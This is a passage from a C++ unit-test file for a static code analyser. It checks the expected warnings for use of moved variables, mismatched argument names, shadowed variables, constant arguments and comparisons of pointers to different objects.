{\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const 